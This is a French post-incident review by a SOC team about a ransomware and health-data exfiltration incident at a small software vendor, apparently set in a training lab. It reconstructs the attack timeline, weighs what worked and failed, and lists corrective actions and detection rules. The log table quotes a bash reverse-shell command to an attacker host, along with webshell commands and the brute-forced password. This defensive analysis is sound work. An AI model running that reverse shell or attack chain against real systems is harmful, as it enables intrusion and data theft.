

IRON4SOFTWARE

Sécurité des Systèmes d'Information

RETOUR D'EXPÉRIENCE (REX)

Incident INC-2026-001

Ransomware avec exfiltration de données de santé

Champ	Valeur
Référence incident	INC-2026-001
Date de l'incident	07/03/2026 - 09h19 (début d'attaque)
Date de détection	19/04/2026 - 14h20 CEST (T0)
Fenêtre d'exposition	43 jours sans détection
Rédacteur	Responsable SOC - Iron4Software
Destinataires	Direction Iron4Software / Équipe SOC
Classification	CONFIDENTIEL - Usage interne
Version	1.0 - Post-incident

Ce document est le retour d'expérience formalisé suite à l'incident INC-2026-001. Il n'a pas vocation à établir des responsabilités individuelles, mais à identifier ce qui a fonctionné, ce qui a failli, et ce qu'on doit changer concrètement.

1. Contexte

Iron4Software est une TPE de 25 salariés, éditeur du logiciel IronSuite, déployé notamment chez des clients du secteur de la santé. À ce titre, l'entreprise traite des données de patients en tant que sous-traitant au sens du RGPD.

Le 7 mars 2026, un attaquant externe a compromis l'infrastructure de production d'Iron4Software. Il a exfiltré la base de données de production d'un client du secteur santé, la Clinique Saint-Jean, puis déployé un ransomware. L'incident n'a été détecté que 43 jours plus tard, le 19 avril 2026, par le SIEM Splunk.

43 jours

C'est la durée pendant laquelle l'attaquant a eu accès à l'infrastructure sans être détecté. Pendant cette période, les données de santé de la Clinique Saint-Jean étaient déjà exfiltrées. Ce chiffre est le point de départ de tout ce document.

Paramètre	Valeur
Nature de l'incident	Intrusion - Exfiltration - Ransomware (double extorsion)
Systèmes compromis	Ubuntu Web (192.168.3.11) + Windows Server (192.168.3.10)
Données exfiltrées	Dump_SQL_IronSuite_Clinique_StJean_PRO D.bak (données de santé)
Compte compromis	Administrateur (mot de passe : Admin123)
Classification RGPD	Violation de données de catégorie particulière (Art. 9)
Obligation réglementaire	Notification CNIL sous 72h (Art. 33) - Évaluation Art. 34

2. Ce qui s'est passé - Chronologie de l'incident

La reconstruction de la kill chain est basée sur les logs forensiques réels : journaux Apache indexés dans Splunk et événements Windows Security (WinEventLog). Les éléments marqués 'déduit' ne sont pas directement prouvés par les logs disponibles.

2.1 Jour 1 - 07/03/2026 : L'intrusion complète en une journée

Heure	Action de l'attaquant	Impact
09h19	Scan Nmap NSE depuis 192.168.50.5	Cartographie complète du serveur web exposé
10h03	Accès au webshell shell.php via curl - whoami, ip a, ping	Exécution de code sur le serveur web. Découverte du réseau interne 192.168.3.0/24
10h09	Ping vers 192.168.3.10 depuis Ubuntu Web	Confirmation que le Windows Server est joignable. Route de pivot identifiée
~10h15	ip route add 192.168.3.0/24 via 192.168.50.7 sur Kali (déduit)	Exploitation de la règle pfSense Allow All. Accès direct au LAN depuis Kali
11h06	Brute-force SMB CrackMapExec - 67 tentatives sur Administrateur	Attaque par dictionnaire sur le contrôleur de domaine. Aucun verrouillage de compte
11h49	Compromission du compte Administrateur - mot de passe Admin123	Accès complet au domaine. Tous les systèmes du LAN potentiellement accessibles
12h11	Session RDP interactive sur WIN-HKVM4FR00PS	Accès graphique complet au contrôleur de domaine
Post 12h11	Exfiltration du dump SQL Clinique Saint-Jean (déduit)	Données de santé de patients sorties du périmètre. Non récupérables
Post 12h11	Dépôt des artefacts ransomware dans PRIVATE (déduit)	Fichiers chiffrés. Note de rançon déposée

En une seule journée, l'attaquant est passé du scan initial à une session RDP interactive sur le contrôleur de domaine. La chaîne est directe : webshell ->

découverte réseau -> route pfSense -> brute-force SMB -> RDP. Chaque étape a fonctionné parce que les défenses correspondantes étaient absentes ou mal configurées. Il n'y a pas eu de moment où l'attaque aurait pu être bloquée sans une intervention active.

2.2 Jour 2 - 08/03/2026 : Retour et consolidation

L'attaquant revient le lendemain. Il commence par vérifier que son webshell est toujours actif (whoami, ip a, ping à 09h05). Ça prend 46 minutes. À 09h51, il escalade vers un reverse shell bash interactif vers 192.168.50.5:4444. C'est sa consolidation C2 : un canal plus robuste que le webshell HTTP, qui ne laisse plus de trace dans access.log une fois établi.

Le webshell shell.php est la persistance réelle de cet incident. Il est resté accessible entre le 7 et le 8 mars sans être détecté ni supprimé. C'est lui qui a permis ce retour.

Heure	Commande webshell	Bytes réponse	Interprétation
09h05:10	whoami	156	Vérification que le webshell est toujours actif
09h05:15	ip a	876	Re-énumération réseau
09h05:22	ping -c 2 192.168.3.10	499	Re-confirimation joignabilité Windows Server
09h51:24	bash -c "bash -i >&/dev/tcp/192.168.50.5/4444 0>&1"	147	Reverse shell bash - escalade vers shell interactif complet

2.3 Détection - 19/04/2026 : 43 jours plus tard

Le SIEM Splunk déclenche 133 alertes critiques simultanées le 19 avril 2026 à 14h20. Les alertes concernent le brute-force Windows et la présence d'artefacts ransomware. La réponse IR est lancée immédiatement selon le cadre NIST SP 800-61 : contention, éradication, récupération. L'incident est contenu dans la journée.

Pourquoi 43 jours ?

Les alertes Splunk ont été créées après les phases de durcissement et de supervision, soit après l'attaque initiale dans le cadre de ce projet. En conditions réelles, cette fenêtre représente le temps pendant lequel un attaquant opère librement sur le réseau. Pour INC-2026-001, l'essentiel des dégâts (exfiltration, ransomware) était consommé dès le 7 mars.

3. Ce qui a fonctionné

3.1 La détection a fonctionné une fois en place

Quand les alertes Splunk ont été opérationnelles (brute-force Windows, présence d'artefacts ransomware), elles ont déclenché 133 alertes critiques de manière fiable. Le SIEM a fait ce pour quoi il avait été configuré. Le problème n'était pas la qualité de la détection mais le moment où elle a été mise en place.

3.2 La réponse IR a été structurée et traçable

La réponse à l'incident a suivi le cadre NIST SP 800-61 dans l'ordre correct : triage, contention, éradication, récupération. Chaque action a été horodatée et référencée à l'incident INC-2026-001. Les règles pfSense de contention ont été désactivées et non supprimées, ce qui a préservé la traçabilité. C'est une bonne pratique qui a été appliquée correctement.

3.3 L'analyse forensique a pu reconstruire la kill chain

Malgré des angles morts significatifs (audit NTFS inactif, rotation des logs Apache), l'investigation forensique depuis Splunk a permis de reconstituer la totalité de la kill chain avec des timestamps précis. Les logs Apache et les Event ID Windows Security ont fourni suffisamment de matière pour établir une timeline fiable et produire les IoC nécessaires à la notification CNIL.

3.4 La chaîne de communication a été activée

La dimension réglementaire de l'incident (données de santé, Art. 9 RGPD) a été identifiée dès la qualification de l'incident. Le plan de communication a été déclenché dans les heures suivant la détection, avec notification à la Clinique Saint-Jean en priorité pour respecter le délai de 72h de l'Art. 33.

4. Ce qui a échoué

4.1 Pas de détection pendant 43 jours

L'attaque du 7 mars 2026 a exploité une vulnérabilité connue (upload de fichier PHP sans validation), fait tourner un brute-force SMB pendant 42 minutes, compromis le compte Administrateur, ouvert une session RDP, exfiltré des données de santé, et déployé un ransomware. Rien de tout ça n'a déclenché la moindre alerte. La raison est simple : il n'y en avait pas.

Absence de règles de détection actives au moment de l'attaque initiale. Aucune surveillance du webshell. Aucune alerte sur les accès curl anormaux. Aucune corrélation brute-force SMB + session RDP.

4.2 Architecture réseau sans segmentation

La règle pfSense 'Allow All' sur l'interface WAN a permis à l'attaquant d'atteindre directement le contrôleur de domaine depuis l'extérieur avec une simple commande ip route add. Il n'avait pas besoin de proxy, de tunnel, ni d'outil de pivotement complexe. La faille de configuration réseau a rendu toutes les autres protections secondaires.

Résultat : un attaquant externe a pu brute-forcer directement le port 445 du contrôleur de domaine depuis internet. C'est le scénario qu'une DMZ est censée rendre impossible.

4.3 Politique de mots de passe inexistante

Le compte Administrateur avec le mot de passe Admin123 n'aurait pas dû exister en production. Sans politique de verrouillage de compte, le brute-force a pu tourner pendant 42 minutes sur 67 tentatives sans être bloqué. Ces deux défauts combinés ont rendu la compromission inévitable une fois que l'attaquant avait accès au port SMB.

4.4 Données de production client stockées sans contrôle

Le fichier Dump_SQL_IronSuite_Clinique_StJean_PROD.bak était stocké sur le serveur Windows dans un dossier partagé, sans chiffrement, sans contrôle d'accès renforcé, sans journalisation des accès. Une copie intégrale de la base de données

de production d'un client du secteur santé, accessible à quiconque disposait d'un accès au domaine.

C'est probablement le point le plus grave du bilan. Pas pour des raisons techniques, mais parce que ça montre un défaut de gouvernance sur la gestion des données clients. Iron4Software, en tant que sous-traitant RGPD, avait l'obligation de protéger ces données avec des mesures techniques adaptées à leur sensibilité. Ce n'était pas le cas.

4.5 Politique de sauvegarde non opérationnelle

Le répertoire BACKUPS_SECURE était vide au moment de la récupération. La restauration a dû être effectuée manuellement. Dans un contexte réel, les données de la Clinique Saint-Jean auraient été définitivement perdues. Avoir une politique de sauvegarde sur le papier ne suffit pas si personne ne vérifie qu'elle s'exécute.

4.6 Angles morts forensiques évitables

L'audit NTFS n'était pas activé au moment de l'incident, ce qui a rendu impossible la preuve directe de l'exfiltration et du déploiement du ransomware (Event ID 4663 et 4672 absents). Les logs pfSense n'étaient pas centralisés dans Splunk. La rotation Apache a potentiellement effacé des logs du 7 mars.

Ces angles morts ne sont pas des malchances. Ce sont des configurations par défaut qui n'ont pas été revues. L'activation de l'audit NTFS et la centralisation des logs pfSense sont des actions simples qui auraient considérablement enrichi la capacité forensique.

Synthèse des défauts identifiés

Défaut	Gravité	Catégorie
Absence de détection active au moment de l'attaque	Critique	Supervision SOC
Architecture réseau plate - règle pfSense Allow All	Critique	Infrastructure réseau
Mot de passe trivial + absence de verrouillage de compte	Critique	Politique IAM

Données de santé client non protégées sur serveur interne	Critique	Gouvernance données / RGPD
Politique de sauvegarde non opérationnelle	Élevé	Continuité d'activité
Audit NTFS inactif - angles morts forensiques	Élevé	Journalisation
Logs pfSense non centralisés dans le SIEM	Moyen	Journalisation
Détection webshell en temps réel absente	Élevé	Supervision SOC

5. Mesures correctives

Les actions ci-dessous sont priorisées par horizon temporel. Les actions court terme sont les plus urgentes et les plus simples à mettre en oeuvre. Les actions moyen et long terme demandent plus de ressources mais constituent la vraie transformation de la posture de sécurité d'Iron4Software.

5.1 Court terme - 0 à 3 mois

Action	Responsable	Priorité
Activer l'audit NTFS sur tous les serveurs Windows (Event ID 4663, 4672, 4688)	Admin système	Critique
Centraliser les logs pfSense dans Splunk	Admin réseau / SOC	Critique
Implémenter une politique de mots de passe complexes (min. 14 caractères) et un seuil de verrouillage de compte (5 tentatives)	Admin AD	Critique
Supprimer ou isoler tous les fichiers de données clients stockés sur les serveurs internes non chiffrés	RSSI + Dev	Critique
Créer une règle de détection Splunk sur les accès webshell (User-Agent curl, accès à des fichiers .php hors référentiel)	SOC	Élevé
Mettre en place et tester une sauvegarde automatisée 3-2-1 (3 copies, 2 supports différents, 1 hors site)	Admin système	Élevé
Réviser tous les contrats DPA avec les clients du secteur santé	Direction / Juridique	Élevé

5.2 Moyen terme - 3 à 12 mois

Action	Responsable	Priorité
Revoir l'architecture réseau : supprimer la règle Allow All, mettre en place une DMZ, segmenter les flux entre zones	Admin réseau	Critique
Déployer un outil de détection webshell en temps réel (règles YARA sur les serveurs web, surveillance des processus enfants Apache)	SOC / Admin	Élevé
Mettre en place une corrélation d'alertes SOC : brute-force SMB suivi d'une connexion RDP dans la même fenêtre temporelle = escalade automatique	SOC	Élevé
Chiffrer les données clients en transit et au repos sur les serveurs internes	Dev / Admin	Élevé
Former l'ensemble des équipes techniques à la gestion des incidents et aux obligations RGPD en tant que sous-traitant	RSSI / RH	Moyen
Rédiger et tester un Plan de Continuité d'Activité (PCA) incluant les scénarios ransomware et exfiltration	Direction / RSSI	Moyen

5.3 Long terme - 12 mois et au-delà

Action	Responsable	Priorité
Désigner un DPO (Délégué à la Protection des Données) ou mandater un DPO externe compte tenu du volume de données de santé traitées	Direction	Élevé

Réaliser une cartographie complète des données personnelles et de santé traitées par Iron4Software (registre des traitements)	RSSI / DPO	Élevé
Mettre en place des exercices de simulation de crise annuels (tabletop exercises) incluant les scénarios IR et communication de crise	RSSI / Direction	Moyen
Mandater un audit de sécurité externe (pentest + audit organisationnel) tous les 12 à 18 mois	Direction	Moyen
Implémenter un programme de gestion des vulnérabilités avec scan régulier des actifs exposés	SOC / Admin	Moyen

6. Plan d'amélioration de la posture SOC

Cette section est spécifique à l'équipe SOC. Elle détaille les évolutions de détection et de réponse à mettre en place pour qu'un incident de ce type soit détecté en heures, pas en semaines.

6.1 Couverture de détection à étendre

Vecteur non couvert	Règle à créer	Source de log
Accès webshell (User-Agent curl sur fichiers PHP)	Alerte sur GET /[fichier].php avec User-Agent curl ou wget	Apache access.log
Processus enfant anormal depuis Apache	Alerte sur parent=apache2, child=bash ou python (Sysmon Event ID 1)	Sysmon / WinEventLog
Connexion TCP sortante depuis www-data vers port non standard	Alerte sur connexion sortante TCP/4444 ou tout port > 1024 depuis processus web	Sysmon Event ID 3 / pfSense
Brute-force SMB sans verrouillage	Alerte sur > 10 Event ID 4625 Type 3 en moins de 5 minutes depuis même IP	WinEventLog:Security
Brute-force SMB suivi de RDP dans la même fenêtre	Corrélation : 4625 x N + 4624 Type 10 dans les 30 minutes = escalade critique	WinEventLog:Security
Accès NTFS à des fichiers sensibles (.bak, .sql, .csv)	Alerte sur Event ID 4663 sur extensions de fichiers données	WinEventLog:Security (après activation audit NTFS)
Scan Nmap NSE entrant	Alerte sur User-Agent 'Nmap Scripting Engine' dans les logs Apache	Apache access.log

6.2 Procédure de notification RGPD à formaliser

La gestion de la dimension réglementaire pendant l'incident a été réactive plutôt que procédurale. Pour un prochain incident impliquant des données personnelles, la procédure suivante doit être documentée, connue de l'équipe SOC, et testée.

- Dès la qualification d'un incident impliquant des données personnelles : identifier la catégorie de données (ordinaires / catégorie particulière Art. 9).

- Si données de santé ou catégorie particulière : déclencher immédiatement la chaîne de notification interne (SOC -> RSSI -> Direction -> Client).
- Chronomètre de 72h : démarrer le compteur dès la connaissance de la violation, pas dès la résolution technique.
- Conserver la trace horodatée de chaque étape de notification (qui a informé qui, à quelle heure, par quel canal).
- Archiver le dossier de notification CNIL complet avec les preuves forensiques associées.

6.3 Exercices de simulation à mettre en place

La meilleure façon de savoir si une procédure IR fonctionne, c'est de la tester avant d'en avoir besoin. Deux types d'exercices sont recommandés :

Tabletop exercise annuel : simulation sur table d'un scénario de crise (ransomware, fuite de données). Pas d'action technique, juste les décisions et la communication. Durée : 2 à 3 heures. Objectif : tester la chaîne de décision et la réactivité de la direction.

Test de restauration semestriel : vérifier concrètement que les sauvegardes sont restaurables. Un backup qui n'a jamais été testé n'est pas un backup, c'est une hypothèse.

7. Indicateurs de suivi

Ces indicateurs permettent de mesurer concrètement l'évolution de la posture de sécurité dans les 12 mois suivant l'incident. Ils doivent être revus trimestriellement en comité de direction.

Indicateur	Valeur actuelle	Cible à 6 mois	Cible à 12 mois
MTTD (Mean Time To Detect)	43 jours	< 24 heures	< 4 heures
MTTR (Mean Time To Respond)	< 24h (après détection)	< 4 heures	< 2 heures
Couverture de journalisation (% actifs supervisés)	~60 %	80 %	95 %
Taux de couverture des règles de détection (vecteurs connus)	~40 %	70 %	90 %
Sauvegardes testées et validées	0 %	100 % (1 test)	100 % (2 tests/an)
Comptes privilégiés avec MDP complexe + verrouillage activé	0 %	100 %	100 %
Données clients chiffrées au repos	0 %	50 %	100 %
Délai moyen de notification client en cas de violation	Non défini	< 4 heures	< 2 heures

Note de clôture

INC-2026-001 a exposé des défauts sérieux dans la posture de sécurité d'Iron4Software. Mais il a aussi démontré que quand les bons outils sont en place et que la réponse est structurée, la situation se maîtrise. L'objectif de ce REX n'est pas de montrer qu'on a tout raté. C'est de s'assurer qu'on ne rate plus les mêmes choses.

Le vrai indicateur de maturité d'une équipe SOC, c'est ce qu'elle fait du prochain incident.